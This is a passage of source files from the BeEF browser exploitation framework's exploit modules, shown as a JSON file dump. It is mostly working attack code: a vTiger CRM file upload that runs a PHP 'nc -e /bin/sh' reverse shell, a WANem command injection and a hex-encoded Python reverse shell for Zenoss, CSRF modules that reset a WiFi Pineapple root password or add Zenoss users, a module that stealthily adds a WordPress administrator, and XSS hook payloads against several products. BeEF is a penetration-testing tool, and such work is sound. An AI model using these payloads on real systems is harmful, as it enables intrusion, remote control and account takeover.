'\\\\r\\n' \n\t\t+ '\\r\\n' \n\t\t+ 'drop it like its hot' + '\\r\\n' \n\t\t+ boundary \n\t\t+ '\\r\\n'\n\t\t+ 'Content-Disposition: form-data; name=\"save\"' + '\\r\\n' \n\t\t+ '\\r\\n' \n\t\t+ 'Attach' + '\\r\\n' \n\t\t+ boundary;\n\n\t\tvar uploadstate = 0;\n\n\t\thttp_request.onreadystatechange = function() {\n\t\t\tif (http_request.readyState == 4) {\n\t\t\t\tif (http_request.status == 200) {\n\t\t\t\t\tuploadstate = 3;\n\t\t\t\t} else {\n\t\t\t\t\tuploadstate = 2;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tuploadstate = 1;\n\t\t\t}\n\t\t\treturn;\n\t\t};\n\t\thttp_request.open(\"POST\", targeturl, true);\n\t\thttp_request.setRequestHeader(\"Content-type\", \"multipart/form-data; boundary=---------------------------PWNED\");\n\t\thttp_request.setRequestHeader(\"Content-length\", requestbody.length);\n\t\thttp_request.send(requestbody);\n\n\t\tsetTimeout(function() {\n\t\t\tif (uploadstate == 0) {\n\t\t\t\t//something went way wrong\n\t\t\t\tdocument.body.removeChild(document.getElementById('vtigerimg'));\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error in file upload');\n\t\t\t} else if (uploadstate == 1) {\n\t\t\t\t//we never got a response from the server\n\t\t\t\tdocument.body.removeChild(document.getElementById('vtigerimg'));\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server did not respond while trying to upload file');\n\t\t\t} else if (uploadstate == 2) {\n\t\t\t\t//we got a response that was NOT a 200\n\t\t\t\tdocument.body.removeChild(document.getElementById('vtigerimg'));\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server gave an invalid response while trying to upload file');\n\t\t\t} else if (uploadstate == 3) {\n\t\t\t\t//We got a 200, so hopefully the file was uploaded\n\t\t\t\t//be_graceful();\n\t\t\t\tdo_callfile(0, 1000);\n\t\t\t}\n\t\t},<%= @upload_timeout %>);\n\n\t\treturn;\n\t}\n\n\tfunction do_callfile(start, count){\n\t\tif (document.getElementById('vtigerimg') == null) {\n\t\t\treturn false;\n\t\t}\n\n\t\tfor (i=start;i<=start+count;i++)\n\t\t{\n\t\t\t var http_request = false;\n\t\t\t http_request = get_ajax();\n\t\t\t if (!http_request) {\n\t\t\t\t // fail silently!\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tvar findurl = baseurl + \"<%= @vtiger_filepath %>\" + i + \"_<%= @mal_filename %>.<%= @mal_ext %>\";\n\t\t\tvar requestbody = \"birds of a feather flock together\";\n\t\t\t\n\t\t\thttp_request.open('POST', findurl, false);\n\t\t\thttp_request.setRequestHeader(\"Content-length\", requestbody.length);\n\t\t\thttp_request.send(requestbody);\n\t\t\tif (http_request.status == 200) {\n\t\t\t\tdocument.body.removeChild(document.getElementById('vtigerimg'));\n\t\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=File Uploaded AND Executed ('+findurl+')');\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t}\n\t\treturn;\n\t}\n\n\t// Try the upload \n\tfunction do_main(){\n\t\tdo_upload();\n\t\treturn;\n\t}\n\n\t// Run the sploit\n\tdo_main();\n\n});\n"
  },
  {
    "path": "modules/exploits/vtiger_crm_upload_exploit/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        vtiger_crm_upload_exploit:\n            enable: true\n            category: \"Exploits\"\n            name: \"VTiger CRM Upload Exploit\"\n            description: \"This module demonstrates chained exploitation. It will upload and execute a reverse shell. The vulnerability is exploited in the CRM <a href=\\\"http://www.vtiger.com/\\\">vtiger 5.0.4</a><br />The default PHP requires a listener, so don't forget to start one, for example: nc -l 8888.\"\n            authors: [\"wade\", \"bm\", \"pipes\", \"xntrik\", \"yorikv\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/vtiger_crm_upload_exploit/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Vtiger_crm_upload_exploit < BeEF::Core::Command\n  def self.options\n    time = Time.new\n    weekno = case time.day\n             when 1..7 then 1\n             when 8..14 then 2\n             when 15..21 then 3\n             when 22..28 then 4\n             else 5\n             end\n\n    @configuration = BeEF::Core::Configuration.instance\n    beef_host = @configuration.beef_host\n    [\n      { 'name' => 'vtiger_url', 'ui_label' => 'Target Web Server', 'value' => 'http://vulnerable-vtiger.site', 'width' => '400px' },\n      { 'name' => 'vtiger_filepath', 'ui_label' => 'Target Directory', 'value' => \"/storage/#{time.year}/#{time.strftime('%B')}/week#{weekno}/\",\n        'width' => '400px' },\n      { 'name' => 'mal_filename', 'ui_label' => 'Malicious Filename', 'value' => rand(32**10).to_s(32), 'width' => '400px' },\n      { 'name' => 'mal_ext', 'ui_label' => 'Malicious File Extension', 'value' => 'PHP', 'width' => '400px' },\n      { 'name' => 'vtiger_php', 'ui_label' => 'Injected PHP (must escape single quotes)', 'value' => \"<?php passthru(\\\"/bin/nc -e /bin/sh #{beef_host} 8888\\\"); ?>\", 'type' => 'textarea',\n        'width' => '400px', 'height' => '100px' },\n      { 'name' => 'upload_timeout', 'ui_label' => 'Upload Timeout', 'value' => '5000' }\n    ]\n  end\n\n  def post_execute\n    return if @datastore['result'].nil?\n\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/wanem_command_execution/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>'; \n  var rport = '<%= @rport %>';\n  var lhost = '<%= @lhost %>';\n  var lport = '<%= @lport %>';\n\n  var wanem_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  wanem_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+':'+rport+'/WANem/result.php?pc=127.0.0.1;/UNIONFS/home/perc/dosu%20{nc,'+lhost+','+lport+',-e,/bin/sh}%26');\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(wanem_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/wanem_command_execution/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n################################################################################\n# For more information see: http://itsecuritysolutions.org/2012-08-12-WANem-v2.3-multiple-vulnerabilities/\n################################################################################\nbeef:\n    module:\n        wanem_command_execution:\n            enable: true\n            category: \"Exploits\"\n            name: \"WAN Emulator Command Execution\"\n            description: \"Attempts to get a reverse root shell on a WAN Emulator server.<br/>Tested on version 2.3 however other versions are likely to be vulnerable.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/wanem_command_execution/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n################################################################################\n# For more information see:  http://itsecuritysolutions.org/2012-08-12-WANem-v2.3-multiple-vulnerabilities/\n################################################################################\nclass Wanem_command_execution < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    lhost = @configuration.beef_host\n    lhost = '' if lhost == '0.0.0.0'\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/wifi_pineapple_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var gateway = '<%= @base %>'; \n  var passwd  = '<%= @password %>';\n  var timeout = 15;\n\n  var wifi_pineapple_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"/components/system/configuration/functions.php?change_password\", \"POST\", \"application/x-www-form-urlencoded\", [\n    {'type':'hidden', 'name':'password',  'value':passwd} ,\n    {'type':'hidden', 'name':'repeat',    'value':passwd},\n    {'type':'hidden', 'name':'change_password', 'value':'Change Password'}\n  ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(wifi_pineapple_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/wifi_pineapple_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        wifi_pineapple_csrf:\n            enable: false\n            category: \"Exploits\"\n            name: \"WiFi Pineapple Root Password CSRF\"\n            description: \"Attempts to change the root password on a WiFi Pineapple Mk5.<br/><br/>This module has not been tested.\"\n            authors: [\"n0x00\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/wifi_pineapple_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Wifi_pineapple_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://172.16.42.1:1417/' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/wordpress_add_admin/command.js",
    "content": "//\n// Copyright (c) 2015 Daniel Reece - @HBRN8\n//\n\nbeef.execute(function() {\n\nfunction g(u){ x=new XMLHttpRequest(); x.open('GET',u,false); x.send(null); return x.responseText; }\nfunction p(u, b){ x=new XMLHttpRequest(); x.open('POST',u,true); x.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\"); x.send(b); return x.responseText; }\n/* Kept incase there is a valid reason to use forms over AJAX, I cant think of any.\nfunction post(path, params, method) {\n    method = method || \"post\";\n    var form = document.createElement(\"form\");\n    form.setAttribute(\"method\", method);\n    form.setAttribute(\"action\", path);\n\n    for(var key in params) {\n        if(params.hasOwnProperty(key)) {\n            var hiddenField = document.createElement(\"input\");\n            hiddenField.setAttribute(\"type\", \"hidden\");\n            hiddenField.setAttribute(\"name\", key);\n            hiddenField.setAttribute(\"value\", params[key]);\n            form.appendChild(hiddenField);\n         }\n    }\n    document.body.appendChild(form);\n    form.submit();\n}\n*/\n\nvar domail = '<%= @domail %>';\n\npage = g(\"/wp-admin/user-new.php\");\n\nm = page.match(/\\-user\" value=\"(.*?)\" \\/><input/);\t\n\t\nbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"CSRF nonce hijacked = \" + m[1] + \n\"\\nCreating admin... (<%== format_multiline(@user + ':' + @pass) %>)\");\n\nvar blob = \"action=createuser\" +\n\"&_wpnonce_create-user=\" + m[1] +\n\"&_wp_http_referer=%2Fwp-admin%2Fuser-new.php\" +\n\"&user_login=<%== format_multiline(@user) %>\" +\n\"&email=<%== format_multiline(@email) %>\" +\n\"&first_name=<%== format_multiline(@fname) %>\" +\n\"&last_name=<%== format_multiline(@lname) %>\" +\n\"&url=<%== format_multiline(@url) %>\" +\n\"&pass1=<%== format_multiline(@pass) %>\" +\n\"&pass2=<%== format_multiline(@pass) %>\";\nif (domail){\n//Wordpress will mail regardless of param value if it exists.\nblob = blob + \"&send_password=1\";\n}\nblob = blob + \"&role=administrator&createuser=Add+New+User\";\n\np(\"/wp-admin/user-new.php\", blob);\n\n/* Still cant think of any.\npost('/wp-admin/user-new.php', \n{action: 'createuser', \n '_wpnonce_create-user': m[1],\n _wp_http_referer: '%2Fwp-admin%2Fuser-new.php', \n user_login: '<%== format_multiline(@user) %>',\n email: '<%== format_multiline(@email) %>', \n first_name: '<%== format_multiline(@fname) %>', \n last_name: '<%== format_multiline(@lname) %>',\n url: '<%== format_multiline(@url) %>',\n pass1: '<%== format_multiline(@pass) %>', \n pass2: '<%== format_multiline(@pass) %>', \n send_password: '1', \n role: 'administrator', \n createuser: 'Add+New+User+'});\n*/\n\t\n});"
  },
  {
    "path": "modules/exploits/wordpress_add_admin/config.yaml",
    "content": "#\n# Copyright (c) 2015 Daniel Reece - @HBRN8\n#\n\nbeef:\n    module:\n        Wordpress_add_admin:\n            enable: true\n            category: \"Persistence\"\n            name: \"Wordpress Add Administrator\"\n            description: \"This module stealthily adds a Wordpress administrator account\"\n            authors: [\"hiburn8 @hbrn8\"]\n            target:\n                 working: [\"ALL\"]"
  },
  {
    "path": "modules/exploits/wordpress_add_admin/module.rb",
    "content": "#\n# Copyright (c) 2015 Daniel Reece - @HBRN8\n\nclass Wordpress_add_admin < BeEF::Core::Command\n  def self.options\n    [{ 'name' => 'user', 'ui_label' => 'Username:', 'value' => 'beef' },\n     { 'name' => 'pass', 'ui_label' => 'Pwd:', 'value' => [*('a'..'z'), *('0'..'9')].sample(8).join },\n     { 'name' => 'email', 'ui_label' => 'Email:', 'value' => '' },\n     { 'name' => 'domail', 'type' => 'checkbox', 'ui_label' => 'Success mail?:', 'checked' => 'true' },\n     { 'name' => 'url', 'ui_label' => 'Website:', 'value' => 'beefproject.com' },\n     { 'name' => 'fname', 'ui_label' => 'FirstName:', 'value' => 'beef' },\n     { 'name' => 'lname', 'ui_label' => 'LastName:', 'value' => 'project' }]\n  end\n\n  def post_execute; end\nend\n"
  },
  {
    "path": "modules/exploits/xss/alienvault_ossim_3.1_xss/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>');\n\n\tvar alienvault_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n\talienvault_iframe_<%= @command_id %>.setAttribute('src', uri);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n});\n\n"
  },
  {
    "path": "modules/exploits/xss/alienvault_ossim_3.1_xss/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        alienvault_ossim_3_1_xss:\n            enable: true\n            category: [\"Exploits\", \"XSS\"]\n            name: \"AlienVault OSSIM 3.1 XSS\"\n            description: \"Attempts to hook AlienVault OSSIM 3.1 using XSS.<br/>For more information see: http://www.exploit-db.com/exploits/20062/\"\n            authors: [\"bcoles\", \"muts\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/xss/alienvault_ossim_3.1_xss/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Alienvault_ossim_3_1_xss < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'\n    hook_file = configuration.get('beef.http.hook_file')\n    hook_uri = \"#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}\"\n\n    [\n      { 'name' => 'uri', 'ui_label' => 'Target URL', 'value' => \"http://target/ossim/top.php?option=3&soption=3&url=<script src=#{hook_uri}></script>\" }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/xss/cisco_collaboration_server_5_xss/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>');\n\n\tvar cisco_collaboration_iframe = beef.dom.createInvisibleIframe();\n\tcisco_collaboration_iframe.setAttribute('src', uri);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n});\n\n"
  },
  {
    "path": "modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        cisco_collaboration_server_5_xss:\n            enable: true\n            category: [\"Exploits\", \"XSS\"]\n            name: \"Cisco Collaboration Server 5 XSS\"\n            description: \"Attempts to hook Cisco Collaboration Server 5 using XSS.<br/>For more information see: http://www.exploit-db.com/exploits/11403/\"\n            authors: [\"bcoles\", \"s4squatch\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Cisco_collaboration_server_5_xss < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'\n    hook_file = configuration.get('beef.http.hook_file')\n    hook_uri = \"#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}\"\n\n    [\n      { 'name' => 'uri', 'ui_label' => 'Target URL', 'value' => \"http://target/webline/html/admin/wcs/LoginPage.jhtml?oper=&dest=\\\"><script src=\\\"#{hook_uri}\\\"></script>\" }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/xss/serendipity_1.6_xss/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>');\n\n\tvar serendipity_iframe = beef.dom.createInvisibleIframe();\n\tserendipity_iframe.setAttribute('src', uri);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n});\n\n"
  },
  {
    "path": "modules/exploits/xss/serendipity_1.6_xss/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        serendipity_1_6_xss:\n            enable: true\n            category: [\"Exploits\", \"XSS\"]\n            name: \"Serendipity <= 1.6 XSS\"\n            description: \"Attempts to hook Serendipity <= 1.6 using XSS.<br/>For more information see: http://www.exploit-db.com/exploits/18884/\"\n            authors: [\"bcoles\", \"Stefan Schurtz\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/xss/serendipity_1.6_xss/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Serendipity_1_6_xss < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'\n    hook_file = configuration.get('beef.http.hook_file')\n    hook_uri = \"#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}\"\n\n    [\n      { 'name' => 'uri', 'ui_label' => 'Target URL',\n        'value' => \"http://target/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='\\\"</script><script src=\\\"#{hook_uri}\\\"></script>\" }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/xss/sqlitemanager_xss/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar uri = beef.encode.base64.decode('<%= Base64.strict_encode64(@uri) %>');\n\n\tvar serendipity_iframe = beef.dom.createInvisibleIframe();\n\tserendipity_iframe.setAttribute('src', uri);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n});\n\n"
  },
  {
    "path": "modules/exploits/xss/sqlitemanager_xss/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        sqlitemanager_xss:\n            enable: true\n            category: [\"Exploits\", \"XSS\"]\n            name: \"SQLiteManager XSS\"\n            description: \"Attempts to hook SQLiteManager using XSS.<br/>Tested on version 1.2.4 however other versions are likely to be vulnerable.\"\n            authors: [\"bcoles\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/xss/sqlitemanager_xss/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Sqlitemanager_xss < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'\n    hook_file = configuration.get('beef.http.hook_file')\n    hook_uri = \"#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}\"\n\n    [\n      { 'name' => 'uri', 'ui_label' => 'Target URL', 'value' => \"http://127.0.0.1/sqlite/index.php?dbsel=1\\\"><script src=\\\"#{hook_uri}\\\"></script><p+\\\"\" }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/zenoss_3x_command_execution/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>'; \n  var rport = '<%= @rport %>';\n  var lhost = '<%= @lhost %>';\n  var lport = '<%= @lport %>';\n  var user  = '<%= @user  %>';\n  var pass  = '<%= @pass  %>';\n  var target  = 'http://'+rhost+':'+rport+'/zport/About/showDaemonXMLConfig'\n\n  // reverse python payload\n  var payload = unescape('%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%68%6f%73%74%3d%5c%22'+lhost+'%5c%22%3b%70%6f%72%74%3d'+lport+'%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%68%6f%73%74%2c%70%6f%72%74%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%5c%22%2f%62%69%6e%2f%73%68%5c%22%2c%5c%22%2d%69%5c%22%5d%29%3b%22')\n\n  // send request\n  var zenoss_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"POST\", \"application/x-www-form-urlencoded\", [\n    {'type':'hidden', 'name':'__ac_name',     'value':user},\n    {'type':'hidden', 'name':'__ac_password', 'value':pass},\n    {'type':'hidden', 'name':'daemon',        'value':payload}\n  ]);\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  // clean up\n  cleanup = function() {\n    document.body.removeChild(zenoss_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/zenoss_3x_command_execution/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n################################################################################\n# For more information see: http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/\n################################################################################\nbeef:\n    module:\n        zenoss_command_execution:\n            enable: true\n            category: \"Exploits\"\n            name: \"Zenoss 3.x Command Execution\"\n            description: \"Attempts to get a reverse shell on a Zenoss 3.x server. Valid credentials are required.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/zenoss_3x_command_execution/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n################################################################################\n# For more information see: http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/\n################################################################################\nclass Zenoss_command_execution < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    lhost = @configuration.beef_host\n    lhost = '' if lhost == '0.0.0.0'\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '8080' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' },\n      { 'name' => 'user',  'ui_label' => 'Username',    'value' => 'admin' },\n      { 'name' => 'pass',  'ui_label' => 'Password',    'value' => 'zenoss' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/zenoss_add_user_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var base = '<%= @base %>'; \n  var user_level = '<%= @user_level %>';\n  var username = '<%= @username %>';\n  var password = '<%= @password %>';\n\n  var zenoss_add_user_iframe = beef.dom.createInvisibleIframe();\n  zenoss_add_user_iframe.setAttribute('src', base+'/zport/dmd/ZenUsers?tableName=userlist&zenScreenName=manageUserFolder.pt&manage_addUser%3Amethod=OK&defaultAdminRole='+user_level+'&roles%3Alist='+user_level+'&userid='+username+'&password='+password);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(zenoss_add_user_iframe);\n  }\n  setTimeout(\"cleanup()\", 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/zenoss_add_user_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        zenoss_add_user_csrf:\n            enable: true\n            category: \"Exploits\"\n            name: \"Zenoss 3.x Add User CSRF\"\n            description: \"Attempts to add a user to a Zenoss Core 3.x server.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/zenoss_add_user_csrf/module.rb",
